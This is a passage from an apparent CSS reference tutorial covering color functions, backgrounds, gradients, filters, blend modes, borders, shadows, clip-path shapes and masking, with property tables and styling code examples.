color-contrast() color-contrast(bg vs color1, color2) Choose highest contrast color Accessibility, dynamic text colors
light-dark() light-dark(light-color, dark-color) Color based on color-scheme Light/dark mode theming
Relative colors rgb(from base-color r g b / alpha) Derive color from another color Generate color variants
currentColor currentColor Inherit current text color SVG, borders matching text
transparent transparent Fully transparent (rgba(0,0,0,0)) Hiding elements, gradients

Example: color-mix() function

/* Mix two colors 50/50 */
.mixed {
    background: color-mix(in srgb, red, blue);  /* Purple */
}

/* Mix with different percentages */
.tinted {
    background: color-mix(in srgb, red 80%, white);  /* Light red tint */
}

/* Mix in perceptually uniform space */
.uniform-mix {
    background: color-mix(in oklch, red, blue);  /* Better perceived mix */
}

/* Create tints and shades */
:root {
    --primary: oklch(0.6 0.25 260);
    --primary-light: color-mix(in oklch, var(--primary) 50%, white);
    --primary-dark: color-mix(in oklch, var(--primary) 80%, black);
}

/* Transparent variants */
.transparent-variant {
    --base: rgb(255 0 0);
    --semi-transparent: color-mix(in srgb, var(--base) 50%, transparent);
}

/* Color palette generation */
.palette {
    --base: oklch(0.6 0.2 180);
    --tint-1: color-mix(in oklch, var(--base) 90%, white);
    --tint-2: color-mix(in oklch, var(--base) 70%, white);
    --shade-1: color-mix(in oklch, var(--base) 90%, black);
    --shade-2: color-mix(in oklch, var(--base) 70%, black);
}

Example: Relative colors and color manipulation

/* Relative color syntax (derive from base color) */
:root {
    --primary: oklch(0.6 0.2 260);
}

/* Lighten by increasing lightness */
.lighter {
    background: oklch(from var(--primary) calc(l + 0.2) c h);
}

/* Darken by decreasing lightness */
.darker {
    background: oklch(from var(--primary) calc(l - 0.2) c h);
}

/* Adjust alpha */
.semi-transparent {
    background: oklch(from var(--primary) l c h / 0.5);
}

/* Rotate hue */
.complementary {
    background: oklch(from var(--primary) l c calc(h + 180deg));
}

/* RGB relative colors */
.rgb-variant {
    --base: rgb(100 150 200);
    /* Increase red channel */
    background: rgb(from var(--base) calc(r + 50) g b);
}

/* HSL relative colors */
.hsl-variant {
    --base: hsl(200 50% 50%);
    /* Increase saturation */
    background: hsl(from var(--base) h calc(s + 20%) l);
}

Example: light-dark() and currentColor

/* Automatic light/dark mode colors */
:root {
    color-scheme: light dark;
}

.adaptive {
    background: light-dark(white, #1a1a1a);
    color: light-dark(#1a1a1a, white);
}

/* Use with custom properties */
:root {
    --bg: light-dark(#ffffff, #0a0a0a);
    --text: light-dark(#1a1a1a, #f0f0f0);
}

/* currentColor inherits text color */
.icon {
    color: blue;
    border: 2px solid currentColor;  /* Blue border */
}

.icon svg {
    fill: currentColor;  /* SVG inherits text color */
}

/* Useful for focus rings */
button {
    color: white;
    background: blue;
    outline: 2px solid transparent;
    outline-offset: 2px;
}

button:focus-visible {
    outline-color: currentColor;  /* White outline */
}
Note: color-mix() support: Chrome 111+, Safari 16.2+, Firefox 113+. Relative color syntax: Chrome 119+, Safari 16.4+. Use in oklch for perceptually uniform mixing.

8.3 Background Properties and Multiple Backgrounds

Property Values Description Default
background-color color Background color (bottom layer) transparent
background-image url() | gradient | none Background image(s) none
background-position x y | keywords Position of background image 0% 0%
background-size length | % | cover | contain | auto Size of background image auto
background-repeat repeat | no-repeat | repeat-x | repeat-y | space | round How image repeats repeat
background-attachment scroll | fixed | local Scroll behavior scroll
background-origin border-box | padding-box | content-box Positioning area padding-box
background-clip border-box | padding-box | content-box | text Clipping area border-box
background-blend-mode normal | multiply | screen | overlay... Blend backgrounds with each other normal
background color image position/size repeat attachment origin clip Shorthand for all properties -

Example: Multiple backgrounds

/* Multiple backgrounds (comma-separated, first is top layer) */
.hero {
    background: 
        url('/overlay.png') center/cover no-repeat,
        linear-gradient(rgba(0,0,0,0.5), rgba(0,0,0,0.7)),
        url('/hero-bg.jpg') center/cover no-repeat;
    /* Order: overlay, gradient, image, color */
    background-color: #1a1a1a;
}

/* Individual properties for multiple backgrounds */
.complex {
    background-image: 
        url('/pattern.png'),
        linear-gradient(to right, blue, purple);
    background-position:
        top left,
        center;
    background-size:
        50px 50px,
        cover;
    background-repeat:
        repeat,
        no-repeat;
}

/* Background positioning keywords */
.positioned {
    background-position: top right;  /* Keywords */
    background-position: center center;  /* Centered */
    background-position: 10px 20px;  /* Offset from top-left */
    background-position: right 10px bottom 20px;  /* Offset from edges */
}

/* Background size */
.sized {
    background-size: cover;  /* Fill, may crop */
    background-size: contain;  /* Fit, may show space */
    background-size: 100% 100%;  /* Stretch to fit */
    background-size: auto 200px;  /* Auto width, fixed height */
}

Example: Background clipping and effects

/* Clip background to text (webkit prefix required) */
.text-gradient {
    background: linear-gradient(45deg, #ff0000, #0000ff);
    -webkit-background-clip: text;
    background-clip: text;
    -webkit-text-fill-color: transparent;
    color: transparent;  /* Fallback */
}

/* Background origin and clip */
.bordered-box {
    border: 10px solid rgba(0,0,0,0.2);
    padding: 20px;
    background: url('/pattern.png');
    background-origin: content-box;  /* Start from content area */
    background-clip: padding-box;  /* Clip at padding edge */
}

/* Fixed background (parallax effect) */
.parallax {
    background-image: url('/bg.jpg');
    background-attachment: fixed;
    background-size: cover;
    background-position: center;
}

/* Background repeat options */
.repeat-options {
    background-repeat: space;  /* Space evenly, no partial images */
    background-repeat: round;  /* Stretch to fit, no partial images */
}

/* Background blend modes */
.blended {
    background-image: 
        url('/overlay.png'),
        url('/base.jpg');
    background-blend-mode: multiply;  /* Blend layers together */
}

8.4 CSS Gradients (linear, radial, conic)

Gradient Type Syntax Description Use Case
Linear linear-gradient(direction, color1, color2) Gradient in straight line Backgrounds, overlays
Radial radial-gradient(shape at position, colors) Gradient from center point Spotlights, buttons
Conic conic-gradient(from angle at position, colors) Gradient rotating around center Pie charts, color wheels
Repeating Linear repeating-linear-gradient(direction, colors) Repeating linear pattern Stripes, patterns
Repeating Radial repeating-radial-gradient(shape, colors) Repeating radial pattern Circular patterns
Repeating Conic repeating-conic-gradient(from angle, colors) Repeating conic pattern Sunburst, radar patterns

Example: Linear gradients

/* Basic linear gradient (top to bottom) */
.linear-basic {
    background: linear-gradient(red, blue);
}

/* With direction */
.linear-direction {
    background: linear-gradient(to right, red, blue);
    background: linear-gradient(to bottom right, red, blue);
    background: linear-gradient(45deg, red, blue);
}

/* Multiple color stops */
.linear-stops {
    background: linear-gradient(
        to right,
        red 0%,
        yellow 25%,
        green 50%,
        blue 75%,
        purple 100%
    );
}

/* Color stop positions */
.linear-positioned {
    background: linear-gradient(
        to right,
        red 0 20%,      /* Red from 0-20% */
        yellow 20% 40%, /* Yellow from 20-40% */
        green 40% 60%,  /* Green from 40-60% */
        blue 60% 80%,   /* Blue from 60-80% */
        purple 80% 100% /* Purple from 80-100% */
    );
}

/* Hard color stops (no gradient) */
.stripes {
    background: linear-gradient(
        90deg,
        red 0 33.33%,
        white 33.33% 66.66%,
        blue 66.66% 100%
    );
}

/* Transparent gradients */
.overlay {
    background: linear-gradient(
        to bottom,
        rgba(0,0,0,0) 0%,
        rgba(0,0,0,0.7) 100%
    );
}

Example: Radial and conic gradients

/* Basic radial gradient (circle from center) */
.radial-basic {
    background: radial-gradient(circle, red, blue);
}

/* Ellipse with position */
.radial-positioned {
    background: radial-gradient(
        ellipse at top right,
        red, blue
    );
}

/* Sized radial gradient */
.radial-sized {
    background: radial-gradient(
        circle 100px at center,
        red, transparent
    );
}

/* Radial size keywords */
.radial-keywords {
    background: radial-gradient(circle closest-side, red, blue);
    /* closest-side, closest-corner, farthest-side, farthest-corner */
}

/* Conic gradient (color wheel) */
.conic-basic {
    background: conic-gradient(red, yellow, green, blue, purple, red);
}

/* Conic with start angle */
.conic-rotated {
    background: conic-gradient(from 45deg, red, blue);
}

/* Conic positioned */
.conic-positioned {
    background: conic-gradient(
        from 0deg at 25% 25%,
        red, yellow, green, blue, purple, red
    );
}

/* Pie chart with conic gradient */
.pie-chart {
    background: conic-gradient(
        red 0deg 120deg,
        yellow 120deg 180deg,
        green 180deg 360deg
    );
    border-radius: 50%;
}

Example: Repeating gradients and patterns

/* Repeating linear stripes */
.stripes {
    background: repeating-linear-gradient(
        45deg,
        #fff 0px,
        #fff 10px,
        #000 10px,
        #000 20px
    );
}

/* Vertical bars */
.bars {
    background: repeating-linear-gradient(
        90deg,
        red 0 20px,
        blue 20px 40px
    );
}

/* Repeating radial circles */
.circles {
    background: repeating-radial-gradient(
        circle at center,
        red 0 10px,
        blue 10px 20px
    );
}

/* Repeating conic rays */
.sunburst {
    background: repeating-conic-gradient(
        from 0deg,
        red 0deg 10deg,
        yellow 10deg 20deg
    );
}

/* Checkerboard pattern */
.checkerboard {
    background: 
        linear-gradient(45deg, #ccc 25%, transparent 25%),
        linear-gradient(-45deg, #ccc 25%, transparent 25%),
        linear-gradient(45deg, transparent 75%, #ccc 75%),
        linear-gradient(-45deg, transparent 75%, #ccc 75%);
    background-size: 40px 40px;
    background-position: 0 0, 0 20px, 20px -20px, -20px 0;
    background-color: white;
}

8.5 CSS Filters and Backdrop Filters

Filter Function Syntax Description Range
blur() blur(5px) Gaussian blur 0 to ∞
brightness() brightness(1.5) Adjust brightness 0 to ∞ (1 = normal)
contrast() contrast(2) Adjust contrast 0 to ∞ (1 = normal)
grayscale() grayscale(100%) Convert to grayscale 0% to 100%
hue-rotate() hue-rotate(90deg) Rotate hue 0deg to 360deg
invert() invert(100%) Invert colors 0% to 100%
opacity() opacity(50%) Adjust opacity 0% to 100%
saturate() saturate(2) Adjust saturation 0 to ∞ (1 = normal)
sepia() sepia(100%) Apply sepia tone 0% to 100%
drop-shadow() drop-shadow(4px 4px 8px black) Drop shadow (follows alpha channel) offset-x offset-y blur color
url() url(#svg-filter) SVG filter reference SVG filter ID

Example: CSS filters

/* Single filter */
img {
    filter: blur(5px);
    filter: brightness(1.2);
    filter: contrast(1.5);
    filter: grayscale(100%);
}

/* Multiple filters (space-separated) */
.filtered {
    filter: brightness(1.2) contrast(1.1) saturate(1.3);
}

/* Hover effects */
img {
    filter: grayscale(100%);
    transition: filter 0.3s;
}

img:hover {
    filter: grayscale(0%);
}

/* Photo effects */
.vintage {
    filter: sepia(80%) contrast(1.2) brightness(1.1);
}

.vibrant {
    filter: saturate(1.5) contrast(1.1);
}

.dark {
    filter: brightness(0.7) contrast(1.2);
}

/* Drop shadow for transparent images */
.icon {
    filter: drop-shadow(2px 2px 4px rgba(0,0,0,0.3));
    /* Better than box-shadow for non-rectangular shapes */
}

/* Invert for dark mode */
@media (prefers-color-scheme: dark) {
    img {
        filter: invert(1) hue-rotate(180deg);
    }
}

Example: Backdrop filters (frosted glass effect)

/* Frosted glass effect */
.glass {
    background: rgba(255, 255, 255, 0.1);
    backdrop-filter: blur(10px) saturate(180%);
    border: 1px solid rgba(255, 255, 255, 0.2);
}

/* Modal overlay with blur */
.modal-overlay {
    position: fixed;
    inset: 0;
    background: rgba(0, 0, 0, 0.5);
    backdrop-filter: blur(8px);
}

/* Navigation with backdrop blur */
.navbar {
    position: sticky;
    top: 0;
    background: rgba(255, 255, 255, 0.8);
    backdrop-filter: blur(10px) saturate(180%);
    border-bottom: 1px solid rgba(0, 0, 0, 0.1);
}

/* Dark glass */
.dark-glass {
    background: rgba(0, 0, 0, 0.3);
    backdrop-filter: blur(20px) brightness(0.8);
}

/* Browser support with fallback */
.glass-with-fallback {
    background: rgba(255, 255, 255, 0.9);  /* Fallback */
}

@supports (backdrop-filter: blur(10px)) {
    .glass-with-fallback {
        background: rgba(255, 255, 255, 0.1);
        backdrop-filter: blur(10px);
    }
}
Warning: Filters and backdrop-filter can be performance intensive. Use sparingly, especially blur() with large radius. backdrop-filter support: All modern browsers (Safari requires -webkit- prefix).

8.6 Blend Modes and Compositing

Blend Mode Effect Use Case
normal No blending (default) Default behavior
multiply Darkens (multiplies colors) Shadows, darkening
screen Lightens (inverted multiply) Highlights, lightening
overlay Multiply + screen (contrast) Enhance contrast
darken Keeps darkest color Darkening effects
lighten Keeps lightest color Lightening effects
color-dodge Brightens (divides inverse) Glowing effects
color-burn Darkens (divides) Burning effects
hard-light Strong overlay effect Strong contrast
soft-light Subtle overlay effect Subtle contrast
difference Subtracts colors Inversion effects
exclusion Similar to difference, softer Subtle inversion
hue Uses hue of top layer Colorize
saturation Uses saturation of top layer Adjust vibrancy
color Uses hue & saturation of top Recolor
luminosity Uses luminosity of top layer Brightness adjustments

Example: mix-blend-mode (element with background)

/* Blend element with background */
.blend-multiply {
    mix-blend-mode: multiply;  /* Darkens */
}

.blend-screen {
    mix-blend-mode: screen;  /* Lightens */
}

/* Text blend effect */
.text-blend {
    font-size: 5rem;
    font-weight: 900;
    color: white;
    mix-blend-mode: difference;  /* Inverts background */
}

/* Image overlay blend */
.image-overlay {
    position: relative;
}

.image-overlay::after {
    content: '';
    position: absolute;
    inset: 0;
    background: linear-gradient(45deg, red, blue);
    mix-blend-mode: overlay;  /* Colorize image */
}

/* Duotone effect */
.duotone {
    position: relative;
}

.duotone::before {
    content: '';
    position: absolute;
    inset: 0;
    background: #ff00ff;
    mix-blend-mode: darken;
}

.duotone::after {
    content: '';
    position: absolute;
    inset: 0;
    background: #00ffff;
    mix-blend-mode: lighten;
}

Example: background-blend-mode (multiple backgrounds)

/* Blend background layers together */
.blended-bg {
    background-image: 
        url('/texture.png'),
        linear-gradient(45deg, rgba(255,0,0,0.5), rgba(0,0,255,0.5)),
        url('/photo.jpg');
    background-blend-mode: overlay, normal, normal;
}

/* Gradient overlay on image */
.gradient-overlay {
    background: 
        linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.8)),
        url('/image.jpg') center/cover;
    background-blend-mode: multiply;
}

/* Color tint on image */
.color-tint {
    background: 
        linear-gradient(rgba(255, 0, 100, 0.5), rgba(255, 0, 100, 0.5)),
        url('/photo.jpg') center/cover;
    background-blend-mode: color;  /* Colorize image */
}

/* Multiple blend modes */
.complex-blend {
    background: 
        url('/texture.png'),
        url('/pattern.png'),
        url('/base.jpg');
    background-blend-mode: overlay, multiply;
    /* First blend mode: texture + pattern */
    /* Second blend mode: result + base */
}

/* Luminosity blend for contrast */
.luminosity-blend {
    background:
        linear-gradient(white, black),
        url('/photo.jpg') center/cover;
    background-blend-mode: luminosity;
}

Example: Isolation and stacking context

/* Isolation creates new stacking context */
.isolated {
    isolation: isolate;
    /* Prevents blend modes from affecting parent */
}

/* Blend only within container */
.container {
    isolation: isolate;
    background: white;
}

.container .blend-child {
    mix-blend-mode: multiply;
    /* Only blends with siblings, not parent background */
}

/* Creative text effects */
.creative-text {
    position: relative;
    background: url('/bg.jpg') center/cover;
}

.creative-text h1 {
    font-size: 8rem;
    font-weight: 900;
    color: white;
    mix-blend-mode: difference;  /* Creates knockout effect */
}

/* Hover blend transition */
.card {
    background: linear-gradient(45deg, red, blue);
    transition: all 0.3s;
}

.card img {
    mix-blend-mode: normal;
    transition: mix-blend-mode 0.3s;
}

.card:hover img {
    mix-blend-mode: multiply;
}

Colors & Backgrounds Best Practices

  • Use OKLCH for perceptually uniform colors and gradients
  • Use color-mix() to generate color palettes from base colors
  • Provide sRGB fallbacks for wide-gamut colors (Display P3, LAB, OKLCH)
  • Use background-clip: text for gradient text effects
  • Optimize gradients: use color interpolation in oklch for smooth transitions
  • Use backdrop-filter sparingly (performance impact)
  • Test blend modes in isolation: isolate containers for predictable results
  • Use drop-shadow() filter instead of box-shadow for transparent images
  • Combine multiple backgrounds for complex effects (textures + gradients + images)

9. Borders, Shadows, and Shape Effects

9.1 Border Properties and Border Images

Property Values Description Default
border-width thin | medium | thick | length Border thickness medium (3px)
border-style none | solid | dashed | dotted | double | groove | ridge | inset | outset Border line style none
border-color color Border color currentColor
border width style color Shorthand for all sides -
border-top/right/bottom/left width style color Individual side shorthand -
border-block-start/end width style color Logical border (writing-mode aware) -
border-inline-start/end width style color Logical border (writing-mode aware) -
outline width style color Outline (doesn't affect layout) none
outline-offset length Gap between outline and border 0
Border Image Property Values Description Example
border-image-source url() | gradient | none Image to use for border url('/border.png')
border-image-slice number | % How to slice image (9-slice) 30 30 30 30
border-image-width length | % | number | auto Width of border image 10px
border-image-outset length | number Distance image extends beyond border 0
border-image-repeat stretch | repeat | round | space How to fill border area repeat
border-image source slice / width / outset repeat Shorthand for all border-image properties url() 30 / 10px round

Example: Border basics and styles

/* Basic border */
.box {
    border: 2px solid #333;
    /* Shorthand: width style color */
}

/* Individual sides */
.custom-sides {
    border-top: 3px solid red;
    border-right: 2px dashed blue;
    border-bottom: 1px dotted green;
    border-left: 4px double purple;
}

/* Logical borders (writing-mode aware) */
.logical {
    border-inline-start: 3px solid blue;  /* Left in LTR, right in RTL */
    border-inline-end: 3px solid blue;
    border-block-start: 2px solid red;    /* Top in horizontal mode */
    border-block-end: 2px solid red;
}

/* Border styles */
.styles {
    border: 3px solid black;   /* Solid line */
    border: 3px dashed black;  /* Dashed line */
    border: 3px dotted black;  /* Dotted line */
    border: 3px double black;  /* Double line (requires 3px min) */
    border: 3px groove black;  /* 3D groove effect */
    border: 3px ridge black;   /* 3D ridge effect */
    border: 3px inset black;   /* 3D inset effect */
    border: 3px outset black;  /* 3D outset effect */
}

/* Outline (doesn't affect layout) */
.outlined {
    outline: 2px solid blue;
    outline-offset: 4px;  /* Gap between element and outline */
}

Example: Border images and gradients

/* Gradient border with border-image */
.gradient-border {
    border: 10px solid transparent;
    border-image: linear-gradient(45deg, red, blue) 1;
    /* Slice value 1 = use entire gradient */
}

/* Image-based border (9-slice scaling) */
.image-border {
    border: 20px solid transparent;
    border-image: url('/border-pattern.png') 30 round;
    /* Slice 30px from edges, repeat to fill */
}

/* Advanced border-image */
.fancy-border {
    border: 15px solid transparent;
    border-image-source: url('/fancy-border.png');
    border-image-slice: 30 30 30 30;  /* Top, right, bottom, left slices */
    border-image-width: 15px;
    border-image-repeat: round;  /* Scale to fit without cutting */
}

/* Conic gradient border */
.conic-border {
    border: 5px solid transparent;
    border-image: conic-gradient(
        from 0deg,
        red, yellow, green, blue, purple, red
    ) 1;
}

/* Animated gradient border */
@property --angle {
    syntax: '<angle>';
    initial-value: 0deg;
    inherits: false;
}

.animated-border {
    border: 3px solid transparent;
    border-image: conic-gradient(
        from var(--angle),
        red, yellow, green, blue, purple, red
    ) 1;
    animation: rotate 3s linear infinite;
}

@keyframes rotate {
    to { --angle: 360deg; }
}
Note: border-image replaces border-style. Use outline for focus indicators (doesn't affect layout). Gradient borders require border: solid transparent + border-image.

9.2 Border-radius and Complex Shapes

Property Values Description Example
border-radius length | % Rounded corners (all) 10px
Two values border-radius: 10px 20px; Top-left/bottom-right, top-right/bottom-left Diagonal pairs
Three values border-radius: 10px 20px 30px; Top-left, top-right/bottom-left, bottom-right Asymmetric
Four values border-radius: 10px 20px 30px 40px; Top-left, top-right, bottom-right, bottom-left All different
Elliptical border-radius: 50px / 30px; Horizontal / vertical radii Ellipse corners
Individual corners border-top-left-radius: 10px 20px; Specific corner (horizontal vertical) Fine control
Logical corners border-start-start-radius Writing-mode aware corners Internationalization

Example: Border-radius variations

/* Circle */
.circle {
    width: 100px;
    height: 100px;
    border-radius: 50%;
}

/* Pill shape */
.pill {
    border-radius: 9999px;  /* Large value creates pill */
    padding: 0.5rem 1.5rem;
}

/* Ellipse */
.ellipse {
    width: 200px;
    height: 100px;
    border-radius: 50%;  /* Creates ellipse for non-square */
}

/* Different corner radii */
.fancy-corners {
    border-radius: 20px 50px 20px 50px;
    /* Top-left, top-right, bottom-right, bottom-left */
}

/* Organic shapes with elliptical radii */
.organic {
    border-radius: 60% 40% 30% 70% / 60% 30% 70% 40%;
    /* horizontal radii / vertical radii */
}

/* Individual corners */
.custom-corner {
    border-top-left-radius: 50px 30px;  /* Elliptical corner */
    border-top-right-radius: 10px;
    border-bottom-right-radius: 0;
    border-bottom-left-radius: 20px;
}

/* Notched corner effect */
.notched {
    border-radius: 0 20px 20px 20px;
    /* Top-left not rounded, creates notch effect */
}

Example: Complex organic shapes

/* Blob shapes with multiple radii */
.blob-1 {
    border-radius: 30% 70% 70% 30% / 30% 30% 70% 70%;
}

.blob-2 {
    border-radius: 60% 40% 30% 70% / 60% 30% 70% 40%;
}

.blob-3 {
    border-radius: 73% 27% 53% 47% / 48% 66% 34% 52%;
}

/* Morphing animation between shapes */
@keyframes morph {
    0% {
        border-radius: 60% 40% 30% 70% / 60% 30% 70% 40%;
    }
    50% {
        border-radius: 30% 60% 70% 40% / 50% 60% 30% 60%;
    }
    100% {
        border-radius: 60% 40% 30% 70% / 60% 30% 70% 40%;
    }
}

.morphing-blob {
    animation: morph 8s ease-in-out infinite;
}

/* Squircle (super-ellipse approximation) */
.squircle {
    border-radius: 20%;
    /* For more accurate squircle, use clip-path or SVG */
}

/* Teardrop shape */
.teardrop {
    border-radius: 50% 50% 50% 0;
}

/* Leaf shape */
.leaf {
    border-radius: 0 50%;
}

9.3 Box Shadows and Drop Shadows

Property Syntax Description Example
box-shadow x y blur spread color inset Shadow on box edges 2px 2px 4px rgba(0,0,0,0.2)
Offset X length Horizontal offset (+ = right, - = left) 4px
Offset Y length Vertical offset (+ = down, - = up) 4px
Blur radius length Shadow blur (0 = sharp) 8px
Spread radius length Expand/contract shadow (+ = larger) 2px
Color color Shadow color rgba(0,0,0,0.2)
inset inset Inner shadow (optional keyword) inset 0 2px 4px rgba(0,0,0,0.1)
Multiple shadows Comma-separated Layer multiple shadows 0 2px 4px rgba(0,0,0,0.1), 0 8px 16px rgba(0,0,0,0.1)
text-shadow x y blur color Shadow on text (no spread or inset) 2px 2px 4px rgba(0,0,0,0.3)
filter: drop-shadow() drop-shadow(x y blur color) Shadow following alpha channel drop-shadow(4px 4px 8px rgba(0,0,0,0.3))

Example: Box shadow variations

/* Basic shadow */
.shadow-sm {
    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
}

.shadow-md {
    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.shadow-lg {
    box-shadow: 0 10px 15px rgba(0, 0, 0, 0.1);
}

.shadow-xl {
    box-shadow: 0 20px 25px rgba(0, 0, 0, 0.15);
}

/* Layered shadows (more realistic depth) */
.shadow-layered {
    box-shadow: 
        0 1px 3px rgba(0, 0, 0, 0.12),
        0 1px 2px rgba(0, 0, 0, 0.24);
}

.shadow-floating {
    box-shadow:
        0 2px 4px rgba(0, 0, 0, 0.05),
        0 8px 16px rgba(0, 0, 0, 0.1),
        0 16px 32px rgba(0, 0, 0, 0.05);
}

/* Colored shadows */
.colored-shadow {
    box-shadow: 0 10px 30px rgba(255, 0, 100, 0.3);
}

/* Inner shadow (inset) */
.inset-shadow {
    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.1);
}

/* Combined inner and outer */
.combined-shadow {
    box-shadow:
        inset 0 2px 4px rgba(0, 0, 0, 0.06),
        0 2px 4px rgba(0, 0, 0, 0.1);
}

Example: Advanced shadow effects

/* Neumorphism (soft UI) */
.neumorphic {
    background: #e0e0e0;
    box-shadow:
        10px 10px 20px rgba(0, 0, 0, 0.1),
        -10px -10px 20px rgba(255, 255, 255, 0.7);
}

.neumorphic-pressed {
    background: #e0e0e0;
    box-shadow:
        inset 5px 5px 10px rgba(0, 0, 0, 0.1),
        inset -5px -5px 10px rgba(255, 255, 255, 0.7);
}

/* Glow effect */
.glow {
    box-shadow: 0 0 20px rgba(0, 100, 255, 0.5);
}

.glow-strong {
    box-shadow:
        0 0 10px rgba(0, 100, 255, 0.4),
        0 0 20px rgba(0, 100, 255, 0.3),
        0 0 40px rgba(0, 100, 255, 0.2);
}

/* Text shadows */
.text-shadow {
    text-shadow: 2px 2px 4px rgba(0, 0, 0, 0.3);
}

.text-outline {
    /* Multiple shadows create outline effect */
    text-shadow:
        -1px -1px 0 white,
        1px -1px 0 white,
        -1px 1px 0 white,
        1px 1px 0 white;
}

.text-glow {
    text-shadow:
        0 0 10px rgba(255, 255, 255, 0.8),
        0 0 20px rgba(255, 255, 255, 0.6),
        0 0 30px rgba(255, 255, 255, 0.4);
}

/* Drop shadow for transparent images */
.transparent-image {
    filter: drop-shadow(4px 4px 8px rgba(0, 0, 0, 0.3));
    /* Follows alpha channel, better than box-shadow for PNGs */
}
Note: Use filter: drop-shadow() for transparent images (follows alpha channel). box-shadow creates rectangular shadow. Layered shadows create more realistic depth.

9.4 CSS Shapes and Clip-path

Function Syntax Description Use Case
clip-path: circle() circle(radius at position) Circular clipping Avatar, buttons
clip-path: ellipse() ellipse(rx ry at position) Elliptical clipping Oval shapes
clip-path: polygon() polygon(x1 y1, x2 y2, ...) Custom polygons Arrows, triangles, custom shapes
clip-path: inset() inset(top right bottom left round radius) Rectangular clipping with rounded corners Cropped rectangles
clip-path: path() path('SVG path data') SVG path clipping Complex custom shapes
clip-path: url() url(#clipPath) Reference SVG clipPath element Reusable complex shapes
shape-outside circle() | ellipse() | polygon() | url() Text wrapping around shape Magazine-style layouts
shape-margin length Margin around shape for text wrap Spacing around floated shapes

Example: Basic clip-path shapes

/* Circle */
.circle-clip {
    clip-path: circle(50%);  /* Radius 50% at center */
    clip-path: circle(100px at 50% 50%);  /* 100px radius at center */
}

/* Ellipse */
.ellipse-clip {
    clip-path: ellipse(50% 30% at center);
}

/* Triangle */
.triangle {
    clip-path: polygon(50% 0%, 0% 100%, 100% 100%);
}

/* Arrow right */
.arrow-right {
    clip-path: polygon(
        0% 0%,
        75% 0%,
        75% 25%,
        100% 50%,
        75% 75%,
        75% 100%,
        0% 100%
    );
}

/* Hexagon */
.hexagon {
    clip-path: polygon(
        50% 0%,
        100% 25%,
        100% 75%,
        50% 100%,
        0% 75%,
        0% 25%
    );
}

/* Star */
.star {
    clip-path: polygon(
        50% 0%,
        61% 35%,
        98% 35%,
        68% 57%,
        79% 91%,
        50% 70%,
        21% 91%,
        32% 57%,
        2% 35%,
        39% 35%
    );
}

/* Inset with rounded corners */
.inset-rounded {
    clip-path: inset(10px 20px 30px 40px round 20px);
}

Example: Advanced clip-path and text wrapping

/* Diagonal clip */
.diagonal {
    clip-path: polygon(0 0, 100% 0, 100% 85%, 0 100%);
}

/* Notched corner */
.notched-corner {
    clip-path: polygon(
        0 0,
        calc(100% - 20px) 0,
        100% 20px,
        100% 100%,
        0 100%
    );
}

/* Message bubble */
.bubble {
    clip-path: polygon(
        0% 0%,
        100% 0%,
        100% 75%,
        75% 75%,
        75% 100%,
        50% 75%,
        0% 75%
    );
}

/* Animated clip-path */
@keyframes reveal {
    from {
        clip-path: circle(0% at 50% 50%);
    }
    to {
        clip-path: circle(100% at 50% 50%);
    }
}

.reveal-animation {
    animation: reveal 1s ease-out;
}

/* Text wrapping with shape-outside */
.float-circle {
    float: left;
    width: 200px;
    height: 200px;
    shape-outside: circle(50%);
    clip-path: circle(50%);
    margin: 0 20px 20px 0;
}

/* Polygon text wrap */
.float-polygon {
    float: left;
    width: 200px;
    height: 200px;
    shape-outside: polygon(0 0, 100% 0, 100% 100%);
    clip-path: polygon(0 0, 100% 0, 100% 100%);
    shape-margin: 20px;  /* Space between shape and text */
}

/* Image-based shape */
.float-image {
    float: left;
    shape-outside: url('/shape-mask.png');
    shape-image-threshold: 0.5;  /* Alpha threshold */
}
Note: clip-path clips element visibility. shape-outside affects text wrapping around floated elements. Use polygon() for custom shapes. Animated clip-path creates reveal effects.

9.5 CSS Masking and Advanced Clipping

Property Values Description Use Case
mask-image url() | gradient | none Image/gradient used as mask Alpha-based masking
mask-mode alpha | luminance | match-source How mask image is interpreted Alpha vs luminance masking
mask-repeat repeat | no-repeat | space | round Mask tiling behavior Repeating patterns
mask-position position Mask positioning Align mask
mask-size size | cover | contain Mask sizing Scale mask
mask-origin border-box | padding-box | content-box Mask positioning area Box model reference
mask-clip border-box | padding-box | content-box | text Mask clipping area Limit mask area
mask-composite add | subtract | intersect | exclude Combine multiple masks Complex masking
mask image position / size repeat origin clip composite mode Shorthand for all mask properties -
-webkit-mask-* Various Webkit prefix versions Better browser support

Example: Image and gradient masks

/* Image mask (requires webkit prefix for Safari) */
.image-mask {
    -webkit-mask-image: url('/mask.png');
    mask-image: url('/mask.png');
    -webkit-mask-size: cover;
    mask-size: cover;
}

/* Gradient mask (fade to transparent) */
.gradient-mask {
    -webkit-mask-image: linear-gradient(to bottom, black 0%, transparent 100%);
    mask-image: linear-gradient(to bottom, black 0%, transparent 100%);
}

/* Radial gradient mask (vignette effect) */
.vignette {
    -webkit-mask-image: radial-gradient(
        circle at center,
        black 50%,
        transparent 100%
    );
    mask-image: radial-gradient(
        circle at center,
        black 50%,
        transparent 100%
    );
}

/* Text mask (image visible through text) */
.text-mask {
    background: url('/texture.jpg') center/cover;
    -webkit-mask-image: linear-gradient(black, black);
    mask-image: linear-gradient(black, black);
    -webkit-mask-clip: text;
    mask-clip: text;
    -webkit-text-fill-color: transparent;
    color: transparent;
}

/* Multiple masks */
.multi-mask {
    -webkit-mask-image:
        linear-gradient(to right, black 50%, transparent),
        linear-gradient(to bottom, black 50%, transparent);
    mask-image:
        linear-gradient(to right, black 50%, transparent),
        linear-gradient(to bottom, black 50%, transparent);
    -webkit-mask-composite: source-in;
    mask-composite: intersect;
}

Example: Advanced masking techniques

/* Fade edges effect */
.fade-edges {
    -webkit-mask-image: linear-gradient(
        to right,
        transparent 0%,
        black 5%,
        black 95%,
        transparent 100%
    );
    mask-image: linear-gradient(
        to right,
        transparent 0%,
        black 5%,
        black 95%,
        transparent 100%
    );
}

/* Spotlight effect */
.spotlight {
    -webkit-mask-image: radial-gradient(
        circle 150px at var(--mouse-x, 50%) var(--mouse-y, 50%),
        black 0%,
        transparent 100%
    );
    mask-image: radial-gradient(
        circle 150px at var(--mouse-x, 50%) var(--mouse-y, 50%),
        black 0%,
        transparent 100%
    );
}

/* Striped mask */
.striped-mask {
    -webkit-mask-image: repeating-linear-gradient(
        45deg,
        black 0px,
        black 10px,
        transparent 10px,
        transparent 20px
